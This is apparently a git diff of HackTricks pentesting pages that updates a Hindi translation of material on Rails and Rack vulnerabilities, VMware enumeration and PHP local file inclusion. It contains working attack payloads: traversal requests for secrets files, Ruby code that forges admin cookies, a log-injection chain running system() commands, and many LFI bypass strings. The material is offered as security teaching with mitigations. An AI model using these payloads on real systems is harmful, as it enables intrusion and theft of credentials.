- यदि आप Active Storage + `image_processing` + `mini_magick` के साथ Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 और user-controlled transformations देखते हैं, तो इसे exploitable मानें। अपग्रेड करने और methods/params के लिए कड़ी allowlists और एक hardened ImageMagick policy लागू करने की सिफारिश करें।
|
- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
|
||||||
|
|
||||||
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
||||||
|
|
||||||
यदि target stack Rack middleware का सीधे या frameworks के माध्यम से उपयोग करता है, तो `rack` के 2.2.13, 3.0.14, और 3.1.12 से पहले के वर्ज़न `Rack::Static` के माध्यम से Local File Inclusion तब अनुमति देते हैं जब `:root` unset/misconfigured हो। `PATH_INFO` में encoded traversal process working directory या किसी अनपेक्षित root के तहत फाइलें उजागर कर सकता है।
|
यदि target stack सीधे या frameworks के माध्यम से Rack middleware का उपयोग करता है, तो `rack` के 2.2.13, 3.0.14, और 3.1.12 से पहले के वर्शन `Rack::Static` के माध्यम से Local File Inclusion की अनुमति देते हैं जब `:root` unset/misconfigured हो। PATH_INFO में encoded traversal प्रोसेस वर्किंग डायरेक्टरी या किसी अनपेक्षित root के अंतर्गत फ़ाइलों को उजागर कर सकता है।
|
||||||
|
|
||||||
- ऐसे ऐप्स खोजें जो `config.ru` या middleware stacks में `Rack::Static` mount करते हों। static paths के खिलाफ encoded traversals आजमाएँ, उदाहरण के लिए:
|
- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
|
||||||
```text
|
```text
|
||||||
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
||||||
GET /favicon.ico/..%2f..%2f.env
|
GET /favicon.ico/..%2f..%2f.env
|
||||||
```
|
```
|
||||||
configured `urls:` के साथ मेल खाने के लिए prefix समायोजित करें। यदि ऐप file contents के साथ प्रतिक्रिया देता है, तो संभवतः आपके पास resolved `:root` के अंतर्गत किसी भी चीज़ के लिए LFI है।
|
Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
|
||||||
|
|
||||||
- Mitigation: Rack को अपग्रेड करें; सुनिश्चित करें कि `:root` केवल public files की एक डायरेक्टरी की ओर इशारा करे और स्पष्ट रूप से सेट हो।
|
- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
|
||||||
|
|
||||||
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
|
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
|
||||||
|
|
||||||
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
|
Rails cookies को `secret_key_base` से derive किए गए keys का उपयोग करके encrypt और sign करता है। अगर वह value leak हो जाती है (उदा., repo, logs, या misconfigured credentials में), तो आप आमतौर पर cookies को decrypt, modify, और re-encrypt कर सकते हैं। यह अक्सर authz bypass में बदल जाता है अगर एप्लिकेशन cookies में roles, user IDs, या feature flags स्टोर करता है।
|
||||||
|
|
||||||
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
|
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
|
||||||
```ruby
|
```ruby
|
||||||
@ -70,13 +70,13 @@ plain['role'] = 'admin' if plain.is_a?(Hash)
|
|||||||
forged = enc.encrypt_and_sign(plain)
|
forged = enc.encrypt_and_sign(plain)
|
||||||
puts "Forged cookie: #{CGI.escape(forged)}"
|
puts "Forged cookie: #{CGI.escape(forged)}"
|
||||||
```
|
```
|
||||||
नोट्स:
|
नोट:
|
||||||
- पुराने ऐप्स AES-256-CBC और salts `encrypted cookie` / `signed encrypted cookie`, या JSON/Marshal serializers का उपयोग कर सकते हैं। salts, cipher, और serializer को अनुसरानुसार समायोजित करें।
|
- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
|
||||||
- समझौते/आकलन के समय, सभी मौजूदा कुकीज़ को अमान्य करने के लिए `secret_key_base` को रोटेट करें।
|
- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.
|
||||||
|
|
||||||
## अन्य देखें (Ruby/Rails-विशिष्ट कमजोरियाँ)
|
## देखें (Ruby/Rails-specific vulns)
|
||||||
|
|
||||||
- Ruby deserialization and class pollution:
|
- Ruby deserialization और class pollution:
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../pentesting-web/deserialization/README.md
|
../../pentesting-web/deserialization/README.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
@ -92,9 +92,83 @@ puts "Forged cookie: #{CGI.escape(forged)}"
|
|||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
|
||||||
|
|
||||||
|
जब कोई ऐप (अक्सर एक सरल Rack/Sinatra/Rails endpoint) दोनों:
|
||||||
|
- एक उपयोगकर्ता-नियंत्रित स्ट्रिंग को सटीक रूप में लॉग करता है, और
|
||||||
|
- बाद में उसी स्ट्रिंग से व्युत्पन्न पाथ वाली फ़ाइल को `load` करता है (बाद में `Pathname#cleanpath` के बाद),
|
||||||
|
|
||||||
|
तो आप अक्सर लॉग को poison करके और फिर ऐप को लॉग फ़ाइल को `load` करने के लिए मजबूर करके remote code execution हासिल कर सकते हैं। प्रमुख primitives:
|
||||||
|
|
||||||
|
- Ruby `load` लक्षित फ़ाइल की सामग्री को फ़ाइल एक्सटेंशन की परवाह किए बिना Ruby के रूप में evaluate कर देता है। कोई भी पढ़ने योग्य टेक्स्ट फ़ाइल जिसकी सामग्री Ruby के रूप में parse हो सके, execute हो जाएगी।
|
||||||
|
- `Pathname#cleanpath` `.` और `..` segments को filesystem से संपर्क किए बिना collapse कर देता है, जिससे path smuggling सक्षम होता है: attacker-controlled junk को लॉगिंग के लिएprepend किया जा सकता है जबकि cleaned path अब भी उस इच्छित फ़ाइल पर resolve होता है जिसे execute करना है (उदा., `../logs/error.log`)।
|
||||||
|
|
||||||
|
### Minimal vulnerable pattern
|
||||||
|
```ruby
|
||||||
|
require 'logger'
|
||||||
|
require 'pathname'
|
||||||
|
|
||||||
|
logger = Logger.new('logs/error.log')
|
||||||
|
param = CGI.unescape(params[:script])
|
||||||
|
path_obj = Pathname.new(param)
|
||||||
|
|
||||||
|
logger.info("Running backup script #{param}") # Raw log of user input
|
||||||
|
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
|
||||||
|
```
|
||||||
|
### क्यों लॉग में वैध Ruby हो सकती है
|
||||||
|
`Logger` इस तरह के prefix lines लिखता है:
|
||||||
|
```
|
||||||
|
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
|
||||||
|
```
|
||||||
|
Ruby में, `#` एक comment शुरू करता है और `9/2/2025` बस arithmetic है। वैध Ruby code इंजेक्ट करने के लिए आपको:
|
||||||
|
- अपने payload की शुरुआत नई लाइन पर करें ताकि यह INFO line में `#` द्वारा comment न हो; एक leading newline भेजें (`\n` या `%0A`)।
|
||||||
|
- INFO line द्वारा प्रस्तुत dangling `[` को बंद करें। एक common trick यह है कि शुरुआत `]` से करें और वैकल्पिक रूप से parser को खुश करने के लिए `][0]=1` इस्तेमाल करें।
|
||||||
|
- फिर arbitrary Ruby रखें (उदा., `system(...)`)।
|
||||||
|
|
||||||
|
Example of what will end up in the log after one request with a crafted param:
|
||||||
|
```
|
||||||
|
I, [9/2/2025 #209384] INFO -- : Running backup script
|
||||||
|
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
|
||||||
|
```
|
||||||
|
### ऐसी एक ही स्ट्रिंग छिपाना जो कोड को लॉग भी करे और लॉग पाथ पर भी resolve हो
|
||||||
|
हमें एक attacker-controlled string चाहिए जो:
|
||||||
|
- जब raw रूप में लॉग किया जाए तो इसमें हमारा Ruby payload हो, और
|
||||||
|
- जब इसे `Pathname.new(<input>).cleanpath` से गुज़ारा जाए तो यह `../logs/error.log` पर resolve हो, ताकि बाद में `load` उसी अभी-poisoned log file को execute करे।
|
||||||
|
|
||||||
|
`Pathname#cleanpath` schemes को ignore करता है और traversal components को collapse कर देता है, इसलिए निम्नलिखित काम करेगा:
|
||||||
|
```ruby
|
||||||
|
require 'pathname'
|
||||||
|
|
||||||
|
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
|
||||||
|
puts p.cleanpath # => ../logs/error.log
|
||||||
|
```
|
||||||
|
- `://` से पहले `#` यह सुनिश्चित करता है कि Ruby लॉग निष्पादित होने पर tail को अनदेखा कर दे, जबकि `cleanpath` फिर भी suffix को `../logs/error.log` तक घटा देता है।
|
||||||
|
- प्रारंभिक newline INFO लाइन से बाहर निकलता है; `]` dangling bracket को बंद करता है; `][0]=1` parser को संतुष्ट करता है।
|
||||||
|
|
||||||
|
### एंड-टू-एंड एक्सप्लॉइटेशन
|
||||||
|
1. बैकअप स्क्रिप्ट नाम के रूप में निम्नलिखित भेजें (यदि आवश्यक हो तो पहले newline को `%0A` के रूप में URL-encode करें):
|
||||||
|
```
|
||||||
|
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
|
||||||
|
```
|
||||||
|
2. एप्लिकेशन आपकी raw string को `logs/error.log` में लॉग करता है।
|
||||||
|
3. एप्लिकेशन `cleanpath` गणना करता है जो `../logs/error.log` तक resolve होता है और उस पर `load` कॉल करता है।
|
||||||
|
4. Ruby लॉग में आपने जो कोड इंजेक्ट किया है उसे निष्पादित करता है।
|
||||||
|
|
||||||
|
CTF-जैसे वातावरण में किसी फ़ाइल को exfiltrate करने के लिए:
|
||||||
|
```
|
||||||
|
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
|
||||||
|
```
|
||||||
|
URL-encoded PoC (पहला कैरेक्टर newline है):
|
||||||
|
```
|
||||||
|
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
|
||||||
|
```
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
|
|
||||||
- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
- Rails सुरक्षा घोषणा: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||||||
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
- GitHub एडवाइज़री: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
||||||
|
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
|
||||||
|
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
|
||||||
|
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
|
||||||
|
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -3,7 +3,7 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
## Enumeration
|
## एन्यूमरेशन
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
||||||
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
||||||
@ -13,9 +13,9 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
|||||||
```bash
|
```bash
|
||||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||||
```
|
```
|
||||||
यदि आपको मान्य क्रेडेंशियल्स मिलते हैं, तो जानकारी प्राप्त करने के लिए आप और metasploit scanner modules का उपयोग कर सकते हैं।
|
यदि आप valid credentials पाते हैं, तो आप और metasploit scanner modules का उपयोग करके जानकारी प्राप्त कर सकते हैं।
|
||||||
|
|
||||||
### यह भी देखें
|
### साथ ही देखें
|
||||||
|
|
||||||
Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):
|
Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):
|
||||||
|
|
||||||
|
@ -4,14 +4,14 @@
|
|||||||
|
|
||||||
## File Inclusion
|
## File Inclusion
|
||||||
|
|
||||||
**Remote File Inclusion (RFI):** फ़ाइल एक remote server से लोड होती है (सबसे अच्छा: आप कोड लिख सकते हैं और server उसे execute करेगा). In php this is **disabled** by default (**allow_url_include**).\
|
**Remote File Inclusion (RFI):** फ़ाइल एक remote server से लोड होती है (Best: आप code लिख सकते हैं और server उसे execute करेगा)। In php यह डिफ़ॉल्ट रूप से **disabled** है (**allow_url_include**).\
|
||||||
**Local File Inclusion (LFI):** सर्वर एक local फ़ाइल लोड करता है.
|
**Local File Inclusion (LFI):** सर्वर एक local फ़ाइल लोड करता है।
|
||||||
|
|
||||||
यह vulnerability तब मौजूद होती है जब उपयोगकर्ता किसी तरह उस फ़ाइल को नियंत्रित कर सके जिसे server लोड करने वाला है.
|
यह vulnerability तब उत्पन्न होती है जब user किसी तरह उस फ़ाइल को नियंत्रित कर सकता है जिसे server लोड करने वाला है।
|
||||||
|
|
||||||
प्रभावित **PHP functions**: require, require_once, include, include_once
|
कमज़ोर **PHP functions**: require, require_once, include, include_once
|
||||||
|
|
||||||
इस vulnerability का exploit करने के लिए एक उपयोगी टूल: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
इस vulnerability को exploit करने के लिए एक उपयोगी टूल: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||||
|
|
||||||
## Blind - Interesting - LFI2RCE files
|
## Blind - Interesting - LFI2RCE files
|
||||||
```python
|
```python
|
||||||
@ -19,43 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
|||||||
```
|
```
|
||||||
### **Linux**
|
### **Linux**
|
||||||
|
|
||||||
**कई \*nix LFI सूचियाँ मिलाकर और अधिक paths जोड़कर मैंने यह बनाया है:**
|
**कई \*nix LFI सूचियों को मिलाकर और अधिक paths जोड़कर मैंने यह सूची बनाई है:**
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
यह भी आज़माएँ `/` को `\` से बदलना\
|
यह भी आज़माएँ: `/` को `\` से बदलें
|
||||||
यह भी आज़माएँ: `../../../../../` जोड़ना
|
यह भी आज़माएँ: `../../../../../`
|
||||||
|
|
||||||
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /etc/password खोजती है (जाँचने के लिए कि vulnerability मौजूद है) [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) पर मिल सकती है।
|
एक सूची जो /etc/password फ़ाइल खोजने के लिए कई techniques का उपयोग करती है (यह जांचने के लिए कि vulnerability मौजूद है) यहाँ मिल सकती है: [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||||
|
|
||||||
### **Windows**
|
### **Windows**
|
||||||
|
|
||||||
विभिन्न wordlists का संयोजन:
|
विभिन्न wordlists का मर्ज:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
यह भी आज़माएँ `/` को `\` से बदलना\
|
यह भी आज़माएँ: `/` को `\` से बदलें
|
||||||
यह भी आज़माएँ: `C:/` हटाएँ और `../../../../../` जोड़ें
|
यह भी आज़माएँ: `C:/` हटाएँ और `../../../../../` जोड़ें
|
||||||
|
|
||||||
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /boot.ini खोजती है (जाँचने के लिए कि vulnerability मौजूद है) [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) पर मिल सकती है।
|
एक सूची जो /boot.ini फ़ाइल खोजने के लिए कई techniques का उपयोग करती है (यह जांचने के लिए कि vulnerability मौजूद है) यहाँ मिल सकती है: [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||||
|
|
||||||
### **OS X**
|
### **OS X**
|
||||||
|
|
||||||
Linux की LFI सूची देखें।
|
Linux की LFI सूची देखें।
|
||||||
|
|
||||||
## बेसिक LFI और बाइपास
|
## Basic LFI और बायपास
|
||||||
|
|
||||||
सभी उदाहरण Local File Inclusion के लिए हैं लेकिन इन्हें Remote File Inclusion पर भी लागू किया जा सकता है (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
|
सभी उदाहरण Local File Inclusion के लिए हैं, लेकिन इन्हें Remote File Inclusion पर भी लागू किया जा सकता है (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=../../../etc/passwd
|
http://example.com/index.php?page=../../../etc/passwd
|
||||||
```
|
```
|
||||||
### traversal sequences को गैर-आवर्ती तरीके से हटाया गया
|
### traversal sequences गैर-पुनरावर्ती रूप से हटाए गए
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||||
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|||||||
```
|
```
|
||||||
### **Null byte (%00)**
|
### **Null byte (%00)**
|
||||||
|
|
||||||
प्रदान किए गए स्ट्रिंग के अंत में अतिरिक्त chars जोड़ने को Bypass करें (bypass of: $\_GET\['param']."php")
|
प्रदान की गई string के अंत में अतिरिक्त chars जोड़ने को Bypass करें (bypass of: $\_GET\['param']."php")
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=../../../etc/passwd%00
|
http://example.com/index.php?page=../../../etc/passwd%00
|
||||||
```
|
```
|
||||||
यह **PHP 5.4 से सुलझा हुआ है**
|
यह **PHP 5.4 से हल हो चुका है**
|
||||||
|
|
||||||
### **एन्कोडिंग**
|
### **Encoding**
|
||||||
|
|
||||||
आप गैर-मानक एन्कोडिंग्स जैसे double URL encode (और अन्य) का उपयोग कर सकते हैं:
|
आप non-standard encondings जैसे double URL encode (और अन्य) का उपयोग कर सकते हैं:
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||||
```
|
```
|
||||||
### From existent folder
|
### मौजूद फ़ोल्डर से
|
||||||
|
|
||||||
शायद back-end फ़ोल्डर पथ की जांच कर रहा है:
|
शायद back-end फ़ोल्डर पथ की जाँच कर रहा है:
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||||
```
|
```
|
||||||
### सर्वर पर फ़ाइल सिस्टम निर्देशिकाओं का अन्वेषण
|
### सर्वर पर फ़ाइल सिस्टम निर्देशिकाओं का अन्वेषण
|
||||||
|
|
||||||
सर्वर के फ़ाइल सिस्टम को कुछ तकनीकों का उपयोग करके रिकर्सिव रूप से खोजा जा सकता है ताकि केवल फाइलें ही नहीं बल्कि निर्देशिकाएँ भी पहचानी जा सकें। इस प्रक्रिया में निर्देशिका की गहराई निर्धारित करना और विशेष फ़ोल्डरों के अस्तित्व के लिए जांच करना शामिल है। इसे प्राप्त करने का विस्तृत तरीका नीचे दिया गया है:
|
कुछ तकनीकों का उपयोग करके सर्वर के फ़ाइल सिस्टम का पुनरावर्ती अन्वेषण किया जा सकता है ताकि केवल फ़ाइलें नहीं बल्कि निर्देशिकाओं की पहचान भी की जा सके। इस प्रक्रिया में निर्देशिका की गहराई निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व की जाँच करना शामिल है। इसे प्राप्त करने के लिए नीचे एक विस्तृत विधि दी गई है:
|
||||||
|
|
||||||
1. **निर्देशिका की गहराई निर्धारित करें:** अपने वर्तमान निर्देशिका की गहराई का निर्धारण /etc/passwd फ़ाइल को सफलतापूर्वक लाकर करें (यदि सर्वर Linux-आधारित हो तो लागू)। एक उदाहरण URL इस तरह संरचित हो सकता है, जो तीन की गहराई दिखाता है:
|
1. **निर्देशिका की गहराई निर्धारित करें:** अपने वर्तमान निर्देशिका की गहराई को सफलतापूर्वक `/etc/passwd` फ़ाइल प्राप्त करके जानें (यदि सर्वर Linux-based है तो लागू)। एक उदाहरण URL निम्नलिखित संरचना में हो सकता है, जो तीन की गहराई दर्शाता है:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||||
```
|
```
|
||||||
2. **Probe for Folders:** अनुमानित फ़ोल्डर का नाम (उदाहरण के लिए, `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस जाएँ। अतिरिक्त डायरेक्टरी स्तर के लिए depth को एक बढ़ाना होगा:
|
2. **फ़ोल्डरों की जांच करें:** संशयित फ़ोल्डर का नाम (उदा., `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस नेविगेट करें। अतिरिक्त डायरेक्टरी स्तर के लिए depth को एक बढ़ाना होगा:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||||
```
|
```
|
||||||
3. **परिणामों की व्याख्या करें:** सर्वर की प्रतिक्रिया यह बताती है कि फ़ोल्डर मौजूद है या नहीं:
|
3. **परिणामों की व्याख्या करें:** सर्वर की प्रतिक्रिया यह बताती है कि फ़ोल्डर मौजूद है या नहीं:
|
||||||
- **त्रुटि / कोई आउटपुट नहीं:** दिए गए स्थान पर `private` फ़ोल्डर संभवतः मौजूद नहीं है।
|
- **Error / No Output:** निर्दिष्ट स्थान पर `private` फ़ोल्डर संभवतः मौजूद नहीं है।
|
||||||
- **`/etc/passwd` की सामग्री:** `private` फ़ोल्डर मौजूद होने की पुष्टि होती है।
|
- **Contents of `/etc/passwd`:** `private` फ़ोल्डर की उपस्थिति की पुष्टि होती है।
|
||||||
4. **रिकर्सिव अन्वेषण:** खोजे गए फ़ोल्डरों की आगे की जांच समान तकनीक या पारंपरिक Local File Inclusion (LFI) तरीकों का उपयोग करके उप-डायरेक्टरी या फ़ाइलों के लिए की जा सकती है।
|
4. **रिकर्सिव अन्वेषण:** नज़र आए फ़ोल्डरों की आगे उप-निर्देशिकाओं या फ़ाइलों के लिए उसी तकनीक या पारंपरिक Local File Inclusion (LFI) विधियों का उपयोग करके और जांच की जा सकती है।
|
||||||
|
|
||||||
फ़ाइल सिस्टम के विभिन्न स्थानों पर डायरेक्टरीज़ का अन्वेषण करने के लिए, payload को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या `/var/www/` में `private` डायरेक्टरी है (मान लेते हैं कि वर्तमान डायरेक्टरी 3 की गहराई पर है), उपयोग करें:
|
फाइल सिस्टम में अलग-अलग स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, payload को उसी अनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि `/var/www/` में `private` निर्देशिका है या नहीं (मानते हुए कि वर्तमान निर्देशिका गहराई 3 पर है), उपयोग करें:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||||
```
|
```
|
||||||
### **Path Truncation Technique**
|
### **Path Truncation Technique**
|
||||||
|
|
||||||
Path truncation वेब एप्लिकेशनों में फ़ाइल पथों को हेरफेर करने की एक विधि है। यह अक्सर उन प्रतिबंधित फ़ाइलों तक पहुँचने के लिए इस्तेमाल किया जाता है जिनमें सुरक्षा उपाय फ़ाइल पथ के अंत में अतिरिक्त अक्षर जोड़ते हैं और उनको बायपास करना संभव हो सके। लक्ष्य ऐसा फ़ाइल पथ तैयार करना है जो सुरक्षा उपाय द्वारा बदलने पर भी इच्छित फ़ाइल की ओर इशारा करते रहे।
|
Path truncation एक ऐसी विधि है जिसका उपयोग वेब अनुप्रयोगों में file paths को बदलने के लिए किया जाता है। इसे अक्सर restricted files तक पहुँचने के लिए उपयोग किया जाता है, जब कुछ सुरक्षा उपाय फ़ाइल पथ के अंत में अतिरिक्त अक्षर जोड़ते हैं। उद्देश्य ऐसा फ़ाइल पथ बनाना है जो सुरक्षा उपाय द्वारा परिवर्तित होने पर भी इच्छित फ़ाइल की ओर इशारा करे।
|
||||||
|
|
||||||
In PHP, फ़ाइल सिस्टम की प्रकृति के कारण फ़ाइल पथ के विभिन्न प्रतिनिधित्व समान माने जा सकते हैं। उदाहरण के लिए:
|
In PHP, file path के विभिन्न प्रतिनिधित्व फ़ाइल सिस्टम की प्रकृति के कारण समान माने जा सकते हैं। उदाहरण के लिए:
|
||||||
|
|
||||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, और `/etc/passwd/` को समान path माना जाता है।
|
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` सभी एक ही path के रूप में माने जाते हैं।
|
||||||
- जब अंतिम 6 अक्षर `passwd` हों, तो अंत में `/` जोड़ने से (यानी `passwd/`) लक्षित फ़ाइल नहीं बदलती।
|
- जब अंतिम 6 अक्षर `passwd` हों, तो उसके अंत में `/` जोड़ने से (यानी `passwd/`) लक्षित फ़ाइल नहीं बदलती।
|
||||||
- इसी तरह, यदि किसी फ़ाइल पथ के अंत में `.php` जुड़ा हो (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से एक्सेस की जा रही फ़ाइल पर असर नहीं पड़ेगा।
|
- इसी तरह, यदि किसी file path में `.php` जोड़ा गया है (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से एक्सेस की जा रही फ़ाइल में कोई परिवर्तन नहीं होता।
|
||||||
|
|
||||||
नीचे दिए गए उदाहरण दिखाते हैं कि किस प्रकार path truncation का उपयोग करके `/etc/passwd` तक पहुँच बनाई जा सकती है, जो उसकी संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
|
नीचे दिए गए उदाहरण दिखाते हैं कि कैसे path truncation का उपयोग करके `/etc/passwd` जैसी संवेदनशील सामग्री (user account information) वाली सामान्य लक्ष्य फ़ाइल तक पहुँच बनाई जा सकती है:
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||||
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
|||||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||||
```
|
```
|
||||||
